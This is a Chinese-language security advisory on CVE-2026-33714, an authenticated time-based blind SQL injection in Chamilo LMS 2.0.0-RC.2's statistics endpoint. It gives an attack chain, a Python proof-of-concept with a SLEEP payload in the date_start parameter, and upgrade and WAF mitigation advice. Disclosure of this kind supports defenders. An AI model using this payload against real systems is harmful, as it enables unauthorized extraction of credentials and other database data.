IPBUF安全漏洞报告
English
CVE-2026-33714 CVSS 7.2 高危

CVE-2026-33714 Chamilo LMS SQL注入漏洞

披露日期: 2026-04-14

漏洞信息

漏洞编号
CVE-2026-33714
漏洞类型
SQL注入
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Chamilo LMS

相关标签

SQL注入ChamiloLMSCVE-2026-33714盲注权限提升

漏洞概述

Chamilo LMS v2.0.0-RC.2版本存在SQL注入漏洞。该漏洞位于统计模块的AJAX端点,是对CVE-2026-30881的不完整修复。尽管`get_user_registration_by_month`动作已修复,但`users_active`动作中的`date_start`和`date_end`参数仍未经过清理,直接拼接到SQL查询中。经过身份验证的管理员可利用此漏洞执行基于时间的盲注,提取数据库敏感数据。

技术细节

该漏洞位于Chamilo LMS的`public/main/inc/ajax/statistics.ajax.php`文件中。在处理`users_active`动作时,系统直接获取`date_start`和`date_end`参数,并将其拼接到SQL查询语句中,未进行任何过滤或转义。虽然同文件中的`get_user_registration_by_month`动作已通过`Security::remove_XSS()`进行了修复,但开发人员遗漏了`users_active`动作。拥有管理员权限的攻击者可以通过向`/main/inc/ajax/statistics.ajax.php`发送特制的HTTP请求,在参数中注入恶意SQL语句(如利用SLEEP函数进行延时测试)。由于数据库会直接执行拼接后的SQL语句,攻击者可以利用基于时间的盲注技术,逐位推断数据库中的敏感信息,如用户凭证、会话数据等。

攻击链分析

STEP 1
1. 侦察
攻击者识别出目标使用的是Chamilo LMS系统,且版本为v2.0.0-RC.2。
STEP 2
2. 获取凭证
攻击者通过钓鱼或其他手段获取了管理员账户的凭证(漏洞利用需要高权限)。
STEP 3
3. 构造 payload
攻击者针对`statistics.ajax.php`的`users_active`动作,构造包含盲注语句的`date_start`参数。
STEP 4
4. 发送请求
攻击者使用管理员Session向服务器发送包含恶意参数的HTTP GET/POST请求。
STEP 5
5. 数据提取
服务器执行恶意SQL,攻击者根据响应时间逐位推断数据库内容,获取敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Example) target_url = "http://localhost/main/inc/ajax/statistics.ajax.php" # Admin session cookie (Required) cookies = { "PHPSESSID": "valid_admin_session_id_here" } # Malicious payload for time-based blind SQL injection # Checks if the first character of the database version is '5' # Adjust the SLEEP time according to network latency sql_payload = "2026-01-01' AND (SELECT SUBSTRING(VERSION(),1,1))='5' AND SLEEP(5)-- -" params = { "action": "users_active", "date_start": sql_payload, "date_end": "2026-12-31" } try: print("[+] Sending payload...") response = requests.get(target_url, params=params, cookies=cookies, timeout=10) # Check response time if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! Response delayed.") else: print("[-] Payload executed but no delay detected.") except Exception as e: print(f"Error: {e}")

影响范围

Chamilo LMS 2.0.0-RC.2

防御指南

临时缓解措施
建议立即升级至Chamilo LMS v2.0.0或更高版本。若无法立即升级,应严格限制管理员账户的使用权限,并部署Web应用防火墙(WAF)以检测和阻断针对`statistics.ajax.php`的SQL注入攻击流量。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表